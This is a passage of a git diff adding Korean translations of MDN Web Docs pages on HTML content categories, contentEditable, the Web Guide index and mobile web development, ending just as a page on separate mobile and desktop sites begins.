+  - HTML
+  - HTML5
+  - Web
+translation_of: Web/Guide/HTML/Content_categories
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary">모든 <a href="/ko/docs/Web/HTML">HTML</a> 요소는 특성을 공유하는 요소끼리 묶는 <strong>콘텐츠 카테고리</strong> 한 가지 이상에 속합니다.</span> 콘텐츠 카테고리는 느슨한 관계로 서로 간에 어떤 관계를 형성하지는 않지만, 카테고리에서 공유하는 동작이나 관련 규칙을 정의하고 설명할 때, 특히 복잡한 세부사항을 포함할 때는 더욱 도움이 됩니다. 요소가 아무런 카테고리에도 속하지 않는 것 역시 가능합니다.</p>
+
+<p>콘텐츠 카테고리의 유형은 다음의 세 가지가 있습니다.</p>
+
+<ul>
+ <li>메인 콘텐츠 카테고리는 여러 요소가 서로 공유하는 일반적인 콘텐츠 규칙을 설명합니다.</li>
+ <li>폼 관련 콘텐츠 카테고리는 입력 폼 관련 요소가 공통으로 가지는 규칙을 설명합니다.</li>
+ <li>특정 콘텐츠 카테고리는 소수의 요소만 공유하는 카테고리를 설명하며, 특정 문맥에서만 유효하기도 합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 콘텐츠 카테고리의 상세 내용과 서로간의 비교는 이 글의 범위를 벗어납니다. 궁금하시다면 <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">HTML 명세의 관련 항목</a>을 읽어보세요.</p>
+</div>
+
+<div style="width: 50%;"><a href="https://developer.mozilla.org/@api/deki/files/6244/=Content_categories_venn.png"><img alt="A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text." src="https://developer.mozilla.org/@api/deki/files/6244/=Content_categories_venn.png?size=webview"></a></div>
+
+<h2 id="메인_콘텐츠_카테고리">메인 콘텐츠 카테고리</h2>
+
+<h3 id="메타데이터_콘텐츠">메타데이터 콘텐츠</h3>
+
+<p>메타데이터 콘텐츠 카테고리에 속한 요소는 문서의 표현이나 동작을 수정하거나, 다른 문서를 가리키는 링크를 설정하거나, 기타 "대역 외 정보"를 전달합니다.</p>
+
+<p>{{HTMLElement("base")}}, {{obsolete_inline}}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, {{HTMLElement("title")}}</p>
+
+<h3 id="플로우_콘텐츠"><a name="flow_content">플로우 콘텐츠</a></h3>
+
+<p>플로우 콘텐츠 카테고리에 속한 요소는 보통 텍스트나 내장 콘텐츠를 포함합니다.</p>
+
+<p>{{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{obsolete_inline}}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}}, 텍스트</p>
+
+<p>특정 조건을 만족하는 경우 플로우 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}는 {{HTMLElement("map")}} 요소의 자손인 경우.</li>
+ <li>{{HTMLElement("link")}}가 <code><a href="/ko/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code> 특성을 가지고 있는 경우..</li>
+ <li>{{HTMLElement("meta")}}가 <code><a href="/ko/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code> 특성을 가지고 있는 경우.</li>
+ <li>{{HTMLElement("style")}}이 {{htmlattrxref("scoped","style")}} 특성을 가지고 있는 경우.</li>
+</ul>
+
+<h3 id="구획_콘텐츠">구획 콘텐츠</h3>
+
+<p>구획 콘텐츠 모델에 속한 요소는 현재 개요에서 {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{anch("제목 콘텐츠")}}의 범위를 정의하는 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document">구역을 생성</a>합니다<a href="https://developer.mozilla.org/ko/docs/Web/HTML/HTML5_%EB%AC%B8%EC%84%9C%EC%9D%98_%EC%84%B9%EC%85%98%EA%B3%BC_%EC%9C%A4%EA%B3%BD" title="Sections and Outlines of an HTML5 document">.</a></p>
+
+<p>{{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}}, {{HTMLElement("section")}}</p>
+
+<div class="note">
+<p>자신의 내용을 일반 개요와 구별하는 <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽" title="Sections and Outlines of an HTML5 document#sectioning root">구획 루트</a> 카테고리와 혼동하지 마세요.</p>
+</div>
+
+<h3 id="제목_콘텐츠">제목 콘텐츠</h3>
+
+<p>제목 콘텐츠는 구획의 제목을 정의합니다. 구획은 {{anch("구획 콘텐츠")}}로 명시할 수도 있고, 제목 자신이 암시적으로 생성할 수도 있습니다.</p>
+
+<p>{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p>{{HTMLElement("header")}} 요소는 보통 제목을 포함하지만 제목 콘텐츠는 아닙니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> {{HTMLElement("hgroup")}} 요소는 HTML5의 완성 전에 W3C HTML에서 제거됐으나, 여전히 WHATWG 명세의 일부이며 대부분의 브라우저에서 부분적으로나마 지원하고 있습니다.</p>
+</div>
+
+<h3 id="구문_콘텐츠">구문 콘텐츠</h3>
+
+<p>구문 콘텐츠는 텍스트와, 텍스트가 포함한 마크업을 정의합니다. 구문 콘텐츠가 모여 문단을 형성합니다.</p>
+
+<p>{{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}}, 공백으로 이루어지지 않은 일반 텍스트.</p>
+
+<p>특정 조건을 만족하는 경우 구문 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("area")}}, {{HTMLElement("map")}}의 자손인 경우.</li>
+ <li>{{HTMLElement("del")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("ins")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("link")}}, <code><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes#attr-itemprop" title="HTML/Global attributes#itemprop">itemprop</a></code> 속성을 가지고 있는 경우.</li>
+ <li>{{HTMLElement("map")}}, 구문 콘텐츠만 포함하는 경우.</li>
+ <li>{{HTMLElement("meta")}}, <code><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes#attr-itemprop" title="HTML/Global attributes#itemprop">itemprop</a></code> 속성을 가지고 있는 경우.</li>
+</ul>
+
+<h3 id="내장_콘텐츠">내장 콘텐츠</h3>
+
+<p>내장 콘텐츠는 다른 리소스를 가져오거나, 콘텐츠를 다른 마크업 언어나 네임스페이스로부터 문서에 삽입합니다.</p>
+
+<p>{{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("picture")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
+
+<h3 id="대화형_콘텐츠"><a name="interactive_content">대화형 콘텐츠</a></h3>
+
+<p>대화형 콘텐츠 는 사용자와의 상호작용을 위해 특별하게 설계된 요소를 포함합니다</p>
+
+<p>{{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</p>
+
+<p>특정 조건을 만족하는 경우 대화형 콘텐츠에 속하는 요소도 있습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}, {{htmlattrxref("controls", "audio")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("img")}}, {{htmlattrxref("usemap", "img")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("input")}}, {{htmlattrxref("type", "input")}} 속성이 <code>hidden</code>이 아닌경우.</li>
+ <li>{{HTMLElement("menu")}}, {{htmlattrxref("type", "menu")}} 속성이 <code>toolbar</code>인 경우.</li>
+ <li>{{HTMLElement("object")}}, {{htmlattrxref("usemap", "object")}} 속성을 가진 경우.</li>
+ <li>{{HTMLElement("video")}}, {{htmlattrxref("controls", "video")}} 속성을 가진 경우.</li>
+</ul>
+
+<h3 id="뚜렷한_콘텐츠">뚜렷한 콘텐츠</h3>
+
+<p dir="ltr" id="tw-target-text">내용이 비어있거나 숨겨지지 않은 경우 뚜렷한 콘텐츠입니다. 즉, 렌더링 되며 실질적인 콘텐츠면 뚜렷한 콘텐츠입니다. 플로우 콘텐츠 또는 구문 콘텐츠가 모델인 요소는 적어도 하나의 뚜렷한 노드가 있어야 합니다.</p>
+
+<h3 id="양식_관련_콘텐츠">양식 관련 콘텐츠</h3>
+
+<p>양식 관련 콘텐츠는 양식 소유자가 존재하는 요소로, <code>form</code> 특성이 소유자를 노출합니다. 양식 소유자는 요소의 조상 {{htmlelement("form")}} 요소, 또는 <code>form</code> 특성의 값으로 지정한 요소 ID의 주인입니다.</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{deprecated_inline()}}{{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>양식 관련 콘텐츠는 여러 개의 하위 카테고리를 가집니다.</p>
+
+<dl>
+ <dt><a id="나열됨" name="나열됨">나열됨</a></dt>
+ <dd>{{domxref("HTMLFormElement.elements", "form.elements")}} 및 {{domxref("HTMLFieldSetElement.elements", "fieldset.elements")}} IDL 콜렉션에 나열된 요소. {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="레이블_가능" name="레이블_가능">레이블 가능</a></dt>
+ <dd>{{HTMLElement("label")}} 요소와 연결할 수 있는 요소. {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="제출_가능" name="제출_가능">제출 가능</a></dt>
+ <dd>양식을 제출할 때, 양식 데이터셋을 구성할 수 있는 요소. {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+ <dt><a id="초기화_가능" name="초기화_가능">초기화 가능</a></dt>
+ <dd>양식을 초기화할 때 영향을 받는 요소. {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}를 포함합니다.</dd>
+</dl>
+
+<h2 id="보조_카테고리">보조 카테고리</h2>
+
+<p>알아두면 유용한 보조 카테고리도 있습니다.</p>
+
+<h3 id="스크립트_지원_요소">스크립트 지원 요소</h3>
+
+<p><strong>스크립트 지원 요소</strong>는 문서의 렌더링 결과에 바로 기여하지 않는 요소로, 대신 스크립트 코드를 직접 포함 또는 명시하거나, 스크립트가 사용할 데이터를 지정하는 방식으로 지원하는 요소입니다.</p>
+
+<p>스크립트 지원 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
+
+<h2 id="투명_콘텐츠_모델">투명 콘텐츠 모델</h2>
+
+<p dir="ltr" id="tw-target-text">어느 요소가 투명 콘텐츠 모델을 가지면 해당 요소의 콘텐츠 구조를 생성할 때, 해당하는 요소를 제거한 후 자식 요소로 대체했음에도 유효한 HTML5가 되도록 해야 합니다.</p>
+
+<p>예를 들어, {{HTMLElement("del")}} 과 {{HTMLELement("ins")}} 요소는 투명합니다:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;We hold these truths to be &lt;del&gt;&lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;self-evident&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>올바른 영어는 아니지만, 두 요소를 제거하더라도 HTML은 유효합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;We hold these truths to be &lt;em&gt;sacred &amp;amp; undeniable&lt;/em&gt; self-evident.&lt;/p&gt;
+</pre>
diff --git a/files/ko/web/guide/html/content_editable/index.html b/files/ko/web/guide/html/content_editable/index.html
new file mode 100644
index 0000000000..2e039ea976
--- /dev/null
+++ b/files/ko/web/guide/html/content_editable/index.html
@@ -0,0 +1,65 @@
+---
+title: Content Editable
+slug: Web/Guide/HTML/Content_Editable
+tags:
+  - HTML
+  - HTML5
+  - 가이드
+  - 고급
+  - 예제
+  - 웹
+  - 필요컨텐트
+translation_of: Web/Guide/HTML/Editable_content
+---
+<p><span class="seoSummary">HTML5 에서는 어떤 엘러먼트라도 수정이 가능하다. 약간의 JavaScript 이벤트 핸들러들을 사용하는 것만로 당신은 웹페이지를 완전하고 빠른 리치-텍스트 에디터로 변형할 수 있다. 이 문서는 이런 기능성에 대하여 대략의 정보를 제공 한다.</span></p>
+
+<h2 id="호환성">호환성</h2>
+
+<p>Content editable 은 현재 브라우저들과 완전히 호환된다.</p>
+
+<ul>
+ <li>Firefox 3.5+</li>
+ <li>Firefox for Android 19+</li>
+ <li>Chrome 4.0+</li>
+ <li>Internet Explorer 5.5+ *</li>
+ <li>Safari 3.1+</li>
+ <li>Opera 9+</li>
+ <li>iOS Safari 5.0+</li>
+ <li>Android Browser 3.0+</li>
+ <li>Opera Mobile 12.1+</li>
+ <li>Chrome for Android 25+</li>
+</ul>
+
+<p>Opera Mini 는 아직 지원되지 않는다.</p>
+
+<div class="note">
+<p>*대부분의 html elements 를 지원 하지 않는다.</p>
+</div>
+
+<h2 id="어떻게_작동_하는가">어떻게 작동 하는가?</h2>
+
+<p>{{DOMXRef("HTMLElement.contentEditable", "contentEditable")}} 속성을 HTML element 에서 <code>true</code> 로 설정하라. 이 속성은 대부분의 HTML elements 에 사용될 수 있다.</p>
+
+<h2 id="예제들">예제들</h2>
+
+<p>간단한 예제:</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;div contentEditable="true"&gt;
+      This text can be edited by the user.
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<p>LocalStorage 를 이용한 JavaScript 와 합쳐진 작동 예제를 <a class="external" href="http://html5demos.com/contenteditable" title="http://html5demos.com/contenteditable">여기</a>에서 볼 수 있다. 소스는 <a href="http://html5demos.com/contenteditable#view-source">이곳</a>에 있다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<pre class="code">user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</pre>
+
+<p><a href="/en/Midas" title="en/Midas">컨텐트와 상호 작용하는 방법 </a> (오래된 IE 스타일 API) 그리고 <a href="/en/Rich-Text_Editing_in_Mozilla" title="en/rich-text editing in mozilla">이곳</a></p>
diff --git a/files/ko/web/guide/index.html b/files/ko/web/guide/index.html
new file mode 100644
index 0000000000..8e5ce518de
--- /dev/null
+++ b/files/ko/web/guide/index.html
@@ -0,0 +1,31 @@
+---
+title: 웹 개발자 안내서
+slug: Web/Guide
+tags:
+  - Guide
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide
+---
+<p><strong>이 문서는 어떻게 상세기술들과 API들을  이용할수 있는지에 대한 정보를 제공합니다.</strong></p>
+
+<div class="note">
+<p><strong>노트:</strong> 이 페이지는 컨텐츠를 정리하는 것을 마무리 할 때 까지 조금은 복잡한 상태로 유지됩니다. 이점 사과드립니다!</p>
+</div>
+
+<div>
+<p>{{LandingPageListSubpages}}</p>
+
+<dl>
+ <dt><a href="/ko/docs/JavaScript" title="/ko/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript는 웹에서 응용 프로그램을 만드는 데 사용되는 강력한 스크립팅 언어입니다.</dd>
+</dl>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference" title="/ko/docs/Web/Reference">웹 개발자 레퍼런스</a></li>
+</ul>
diff --git a/files/ko/web/guide/index/index.html b/files/ko/web/guide/index/index.html
new file mode 100644
index 0000000000..1d121dfb94
--- /dev/null
+++ b/files/ko/web/guide/index/index.html
@@ -0,0 +1,11 @@
+---
+title: Index
+slug: Web/Guide/Index
+tags:
+  - Guide
+  - Index
+translation_of: Web/Guide/Index
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>{{Index("/ko/docs/Web/Guide")}}</p>
diff --git a/files/ko/web/guide/mobile/index.html b/files/ko/web/guide/mobile/index.html
new file mode 100644
index 0000000000..8437bf49b5
--- /dev/null
+++ b/files/ko/web/guide/mobile/index.html
@@ -0,0 +1,77 @@
+---
+title: Mobile Web Development
+slug: Web/Guide/Mobile
+tags:
+  - Intermediate
+  - NeedsExample
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Guide/Mobile
+---
+<p>이 페이지에는 모바일 기기에서도 잘 작동하는 웹 사이트를 디자인하기 위한 몇 가지의 방법과 노하우가 담겨 있습니다. Mozilla Firefox OS 프로젝트에 대한 정보를 찾고 계신다면, <a href="/en/Mozilla/Firefox_OS" title="Boot to Gecko">Firefox OS</a> 페이지를 참고하세요. 아니면 <a href="/en/Mozilla/Firefox_for_Android" title="Firefox for Android">Firefox for Android</a>에 대한 자세한 정보를 찾아보실 수도 있습니다.</p>
+
+<p>We've organized it into two sections, <a href="#Designing_for_mobile_devices">designing for mobile devices</a> and <a href="#Cross-browser_development">cross-browser compatibility</a>. Also see Jason Grlicky's guide to <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">mobile-friendliness</a> for web developers.</p>
+
+<h2 id="모바일_기기를_위한_디자인">모바일 기기를 위한 디자인</h2>
+
+<p>Mobile devices have quite different hardware characteristics compared with desktop or laptop computers. Their screens are usually smaller, obviously, but they also usually automatically switch the screen orientation between portrait and landscape mode as the user rotates the device. They usually have touch screens for user input. APIs like geolocation or orientation are either not supported on desktops or are much less useful, and these APIs give mobile users new ways to interact with your site.</p>
+
+<h3 id="작은_화면에_대응하기">작은 화면에 대응하기</h3>
+
+<p><a href="/en-US/docs/Web/Guide/Responsive_design" title="/en-US/docs/Web/Guide/Responsive_design">Responsive Web Design</a> is a term for a set of techniques that enables your web site to adapt its layout as its viewing environment — most obviously, the size and orientation of the screen — changes. It includes techniques such as:</p>
+
+<ul>
+ <li>fluid CSS layouts, to make the page adapt smoothly as the browser window size changes</li>
+ <li>the use of <a href="/en/CSS/Media_queries" title="en/CSS/Media_queries">media queries</a> to conditionally include CSS rules appropriate for the device screen <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">width</a> and <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">height</a></li>
+</ul>
+
+<p>The <a href="/en/Mobile/Viewport_meta_tag" title="en/Mobile/Viewport_meta_tag">viewport meta tag</a> instructs the browser to display your site at the appropriate scale for the user's device.</p>
+
+<h3 id="터치_스크린에_대응하기">터치 스크린에 대응하기</h3>
+
+<p>터치 스크린을 사용하려면 당신은 <a href="/en/DOM/Touch_events" title="en/DOM/Touch_events">DOM 터치 이벤트</a>에 대해서 배워야 합니다. You won't be able to use the <a href="/En/CSS/:hover" title="En/CSS/:hover">CSS :hover</a> pseudo-class, and will need to design clickable items like buttons to respect the fact that fingers are fatter than mouse pointers. See this article on <a class="external" href="https://web.archive.org/web/20150520130912/http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">designing for touch screens</a>.</p>
+
+<p><a href="/en/CSS/Media_queries#-moz-touch-enabled" title="en/CSS/Media_queries#-moz-touch-enabled">-moz-touch-enabled</a> 미디어 쿼리를 이용해 터치를 사용할 수 있는 기기에서 다른 CSS 파일을 불러들일 수도 있습니다.</p>
+
+<h3 id="이미지_최적화하기">이미지 최적화하기</h3>
+
+<p>네트워크 속도가 느리거나 비용이 비싼 기기를 사용하는 사용자들을 위해, 디바이스 화면 크기와 해상도에 맞게 최적화된 이미지를 불러들이게 할 수 있습니다. You do this in CSS by querying for screen <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">height</a>, <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">width</a>, and <a href="/en/CSS/Media_queries#-moz-device-pixel-ratio" title="en/CSS/Media_queries#-moz-device-pixel-ratio">pixel ratio</a>.</p>
+
+<p>You can also make use of CSS properties to implement visual effects like <a href="/en/CSS/Using_CSS_gradients" title="en/CSS/Using_CSS_gradients">gradients</a> and <a href="/En/CSS/Box-shadow" title="En/CSS/Box-shadow">shadows</a> without images.</p>
+
+<h3 id="모바일_API">모바일 API</h3>
+
+<p>Finally, you can take advantage of the new possibilities offered by mobile devices, such as <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> and <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p>
+
+<h2 id="크로스_브라우저_개발">크로스 브라우저 개발</h2>
+
+<h3 id="크로스_브라우저_코드_작성하기">크로스 브라우저 코드 작성하기</h3>
+
+<p>다양한 모바일 브라우저에서 잘 작동하는 웹 사이트를 만들기 위해서는 다음 내용을 알아두셔야 합니다. :</p>
+
+<ul>
+ <li>벤더별 접두어(vendor-prefix)가 사용된 CSS 프로퍼티 등 특정 브라우저에서만 작동하는 기능 사용을 배제할 것.</li>
+ <li>그러한 특정 기능을 사용해야 하는 경우, 다른 브라우저에서도 그러한 기능이 구현되어 있는지 확인할 것. 그러한 기능이 있다면, 그 브라우저에 대한 지원도 목표로 할 것.</li>
+ <li>다른 브라우저에서 그러한 특정 기능이 지원되지 않는다면, 그런 브라우저들을 위해 납득 가능한 대체재(fallback)를 만들어 둘 것.</li>
+</ul>
+
+<p>For example, if you set a gradient as a background for some text using a vendor-prefixed property like <code>-webkit-linear-gradient</code>, it's best to include the other vendor-prefixed versions of the <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a> property. If you don't do that, at least make sure that the default background contrasts with the text: that way, the page will at least be usable in a browser which is not targeted by your <code>linear-gradient</code> rule.</p>
+
+<p>See this <a href="/en/CSS/CSS_Reference/Mozilla_Extensions" title="en/CSS/CSS_Reference/Mozilla_Extensions">list of Gecko-specific properties</a>, and this list of <a href="/en/CSS/CSS_Reference/Webkit_Extensions" title="en/CSS/CSS_Reference/Webkit_Extensions">WebKit-specific properties</a>, and Peter Beverloo's <a class="external" href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">table of vendor-specific properties</a>.</p>
+
+<p>Using tools like <a class="external" href="http://csslint.net/">CSS Lint</a> can help find problems like this in code, and preprocessors like <a class="external" href="http://sass-lang.com/">SASS</a> and <a class="external" href="http://lesscss.org/">LESS</a> can help you to produce cross-browser code.</p>
+
+<h3 id="Take_care_with_user_agent_sniffing">Take care with user agent sniffing</h3>
+
+<p>It's preferable for web sites to detect specific device features such as screen size and touch screens using the techniques listed above, and adapt themselves accordingly. But sometimes this is impractical, and web sites resort to parsing the browser's user agent string to try to distinguish between desktops, tablets, and phones, to serve different content to each type of device.</p>
+
+<p>If you do this, make sure your algorithm is correct, and you aren't serving the wrong type of content to a device because you don't understand a particular browser's user agent string. See this <a href="/en/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop" title="browser detection using the user agent">guide to using the user agent string to determine device type</a>.</p>
+
+<h3 id="다양한_브라우저에서_테스트하기">다양한 브라우저에서 테스트하기</h3>
+
+<p>Test your web site on multiple browsers. This means testing on multiple platforms — at least iOS and Android.</p>
+
+<ul>
+ <li>test mobile Safari on the iPhone using the <a class="link-https" href="https://developer.apple.com/devcenter/ios/index.action">iOS simulator</a></li>
+ <li>test Opera and Firefox using the <a class="link-https" href="https://developer.android.com/sdk/index.html">Android SDK</a>. See these additional instructions for <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">running Firefox for Android using the Android emulator</a>.</li>
+</ul>
diff --git a/files/ko/web/guide/mobile/separate_sites/index.html b/files/ko/web/guide/mobile/separate_sites/index.html
new file mode 100644
index 0000000000..ba86ec0e9b
--- /dev/null
+++ b/files/ko/web/guide/mobile/separate_sites/index.html
@@ -0,0 +1,53 @@
+---
+title: 모바일과 데스크톱용 개별 사이트
+slug: Web/Guide/Mobile/Separate_sites
+tags:
+  - 모바일
+  - 모바일웹
+  - 웹개발
+  - 접근방식
+translation_of: Web/Guide/Mobile/Separate_sites
+---
+<p>모바일 웹 개발에 관한 "개별 사이트"  접근 방식은 모바일과 데스크톱 웹 사용자를 위해 서로 다른 사이트를 제작한다는 의미입니다. 이러한 접근 방식에는 긍정적인 측면과 부정적인 측면이 있습니다. </p>
+
+<h2 id="장점">장점</h2>
+
